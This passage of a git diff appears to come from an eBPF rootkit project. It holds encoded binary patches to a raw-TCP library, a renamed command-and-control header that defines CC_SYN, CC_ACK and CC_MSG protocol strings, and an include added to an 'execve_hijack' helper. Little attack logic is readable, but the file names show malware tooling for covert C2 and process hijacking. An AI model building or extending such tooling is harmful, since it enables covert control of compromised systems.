zQ!39tNkD#F;k$2Imy{4g%96NWswZLV(D)4cK`4EYO{U$~0ojj3_yqq|O=CM8(731s
zNKt;taz%0Uqr%Tnev9;xtS<Otvr+|zlw&nt;U_8l(QhbO3g5{mmV|FXN&t%@_>;0Z
z`8N<aTgs{(CUHGoGx@V0g7qoO<=()%6x-2Hde3p&*ZB1h{Cb|Qk@VPOlp=ptl^@tO
zhbcA`&j>W7pOmR~DpQ(BeA;sA*}xJBi(LxrU;PSgy`mf1yLC&8WcoMFl-=C+N-+H{
zZNtXg`9+2K1yz&NCZ|nh2inTxs+AAgRmzuaK>i)OihsxMz1enFoN)KA+&nI_1^Ksb
z9tM2&e%!H4>K(gdwJ08Bot^1MdPAY%hWptE;JUx(xZy(PyEEOm1y4FO+|b4fcc%OH
zD_pd?o!OqRMDDLe{p^FC4jp}5q`|K3G_kc#V?+=R6%7xRNm=1HP%tYBZaCoW;gZwn
z`BA6)$aF+Azg=m5?r&UZjQP9fNqQ~YxhpN$-GDt%WFPKIGe%64!@6NE^X<ZflwRJ?
z^18Bp-9N=U!?uEQ_xS;Kyer%Dp{#$l>?fnw_lY^8R2IV)?7qjhb%o3=Vx7CQeg9A^
vQ%&pxP}%f;fzi%<yR&`!Hpx^sD+FcRCQ}a9*`4k83Eg!tmWgb^j=28=4gd+$

delta 8722
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

diff --git a/src/client/lib/libRawTCP_Lib.a b/src/client/lib/libRawTCP_Lib.a
index 8bbefb908e492b8ea2a8a75e712e6d580e6a41c3..7662f7dd2640b30e6dc93938ae982d54a4a8c364 100644
GIT binary patch
delta 465
zcmX9&QAm?f7`@-UUZ>ld|6=@`L+5<Zz={lFA;s>*1{IAM66|F%UqXr$#c2=?Vi6P-
zTc?*`&E>yh^p^j-^kA9~KKu`X^b%3gLlE>-MEG~d4t(eEecyp|YEQ-16H$5GZ50@^
z3dn{+Z(4yxaeDj|ZZuEu_%YO*!?thfnV=kA7AGi%PsI$);rPl`{^L3}moxabVjlMF
zq+7%oE8lLhzPt4U*M+Y*jYq5d^by8|IOXlVn;FSn!a(T?<?N->cTRa!*TSB&oH4-+
zIDuI-vcvY@J5`FDl>IytlKzX*_f^I&Nw2uJETtH<UzIl`rpz>I_s^MbJ2M?H?(wNZ
z-RH|f{3O4p2f@*(Z9M4VI?j$h9POgln5=~Re|2fMMq9#q{<$6K=t`Jhme|aj8`VgF
z=Oqrd65jo2+s#--Ao(sq&vjd+*;!M)4cU2pz~{*!3~WcJh-^c7=VG0E!H?2*f~Mg#
z6!{Q*q4@hT)aR4EXZkvh6lT>BYC94BXAH50B;7)AUGd*0>UtSObzM;$j^-4CmLdaL
eOL^b6duyaPO1lYSa4f}hM=`T_#GYt=8Tk)eGM6C$

delta 631
zcmX>yiFwWx<_UdlODq@|mRL*<6cO3Dg0GO-(#T+Pr?x)hkIgR&cQZ4#O<r1R$>=lr
zeyJ~G_GI0%G^Ur+Chsl@nEa?r%vQ>y+jW9R=P{37TLvK50U}<2h}RN8nG4utnrl}u
z@V6BF`~QD3cWE#a1H<Il@*D0zEpGXxc_|7d8L0{diOJciB?{%4B^gkDNl9u^o`PyI
z7gSY2Vr5Q#Vv0g>Nl|8Ax<YwkF<A1}WC2eFrf$~Bb9K`;@2hym!lcVId0A~JW83CG
zwa=MAGJ<MijP{%VG)OW@N3%*Y`HHaec(HOnVdeGan8eD(oXJtb%E~OgS+{u;>*N4a
zm&q!fE@HYsS2DQr3A8ae^Rjs~Gc(ID@vw6Mjgp#V<~R9QMAT-7t^`I-uri>^(~}RH
ziElp8&B4O7mSys~I5EaAlOOhrOR=#6C4m5B8Z!`I0daspfOT?SyqJ^%n)EM-EQ1zU
zn#qoJa$l?%W9??a3Hp4D-IE>XnR5n6L)3hj+&Isi=``4PlRwyLz?cH_HMlN7jg@Ac
zoR(|G_<C~Xe0wGb`N_NH+cBP;{1eD&<ewauXUDWad-A+IJI;;#5Hp=8A6#J0bU}Nv
zT)rL91C|TznF_=w&&#)CnkEhk#mN^IYB0?ZpDb5k$GBs%<sy5=7n3U&*)v&4Oy0G~
cj<Z4vV$7w<51q`J40I;P6{>GeT>MxS0JkK&asU7T

diff --git a/src/ebpf/include/packet/c&c/c&c.h b/src/common/c&c.h
similarity index 61%
rename from src/ebpf/include/packet/c&c/c&c.h
rename to src/common/c&c.h
index 7fbec6b..b040b84 100644
--- a/src/ebpf/include/packet/c&c/c&c.h
+++ b/src/common/c&c.h
@@ -3,8 +3,7 @@
 
 #define CC_PROT_SYN "CC_SYN"
 #define CC_PROT_ACK "CC_ACK"
-#define CC_PROT_SYN_ACK "CC_SYN_ACK"
-#define CC_PROT_SEPARATOR "#"
+#define CC_PROT_MSG "CC_MSG#"
 
 
 #endif
\ No newline at end of file
diff --git a/src/helpers/execve_hijack.c b/src/helpers/execve_hijack.c
index 78bbe41..840c4e3 100644
--- a/src/helpers/execve_hijack.c
+++ b/src/helpers/execve_hijack.c
@@ -9,6 +9,8 @@
 #include <bpf/bpf.h>
 #include <bpf/libbpf.h>
 
+#include "lib/RawTCP.h"
+
 int main(int argc, char* argv[]){
     printf("Hello world from execve hijacker\n");
 
diff --git a/src/helpers/lib/libRawTCP_Lib.a b/src/helpers/lib/libRawTCP_Lib.a
index 8bbefb908e492b8ea2a8a75e712e6d580e6a41c3..7662f7dd2640b30e6dc93938ae982d54a4a8c364 100644
GIT binary patch
delta 465
zcmX9&QAm?f7`@-UUZ>ld|6=@`L+5<Zz={lFA;s>*1{IAM66|F%UqXr$#c2=?Vi6P-
zTc?*`&E>yh^p^j-^kA9~KKu`X^b%3gLlE>-MEG~d4t(eEecyp|YEQ-16H$5GZ50@^
z3dn{+Z(4yxaeDj|ZZuEu_%YO*!?thfnV=kA7AGi%PsI$);rPl`{^L3}moxabVjlMF
zq+7%oE8lLhzPt4U*M+Y*jYq5d^by8|IOXlVn;FSn!a(T?<?N->cTRa!*TSB&oH4-+
zIDuI-vcvY@J5`FDl>IytlKzX*_f^I&Nw2uJETtH<UzIl`rpz>I_s^MbJ2M?H?(wNZ
z-RH|f{3O4p2f@*(Z9M4VI?j$h9POgln5=~Re|2fMMq9#q{<$6K=t`Jhme|aj8`VgF
z=Oqrd65jo2+s#--Ao(sq&vjd+*;!M)4cU2pz~{*!3~WcJh-^c7=VG0E!H?2*f~Mg#
z6!{Q*q4@hT)aR4EXZkvh6lT>BYC94BXAH50B;7)AUGd*0>UtSObzM;$j^-4CmLdaL
eOL^b6duyaPO1lYSa4f}hM=`T_#GYt=8Tk)eGM6C$

delta 631
zcmX>yiFwWx<_UdlODq@|mRL*<6cO3Dg0GO-(#T+Pr?x)hkIgR&cQZ4#O<r1R$>=lr
zeyJ~G_GI0%G^Ur+Chsl@nEa?r%vQ>y+jW9R=P{37TLvK50U}<2h}RN8nG4utnrl}u
z@V6BF`~QD3cWE#a1H<Il@*D0zEpGXxc_|7d8L0{diOJciB?{%4B^gkDNl9u^o`PyI
z7gSY2Vr5Q#Vv0g>Nl|8Ax<YwkF<A1}WC2eFrf$~Bb9K`;@2hym!lcVId0A~JW83CG
zwa=MAGJ<MijP{%VG)OW@N3%*Y`HHaec(HOnVdeGan8eD(oXJtb%E~OgS+{u;>*N4a
zm&q!fE@HYsS2DQr3A8ae^Rjs~Gc(ID@vw6Mjgp#V<~R9QMAT-7t^`I-uri>^(~}RH
ziElp8&B4O7mSys~I5EaAlOOhrOR=#6C4m5B8Z!`I0daspfOT?SyqJ^%n)EM-EQ1zU
zn#qoJa$l?%W9??a3Hp4D-IE>XnR5n6L)3hj+&Isi=``4PlRwyLz?cH_HMlN7jg@Ac
zoR(|G_<C~Xe0wGb`N_NH+cBP;{1eD&<ewauXUDWad-A+IJI;;#5Hp=8A6#J0bU}Nv
zT)rL91C|TznF_=w&&#)CnkEhk#mN^IYB0?ZpDb5k$GBs%<sy5=7n3U&*)v&4Oy0G~
cj<Z4vV$7w<51q`J40I;P6{>GeT>MxS0JkK&asU7T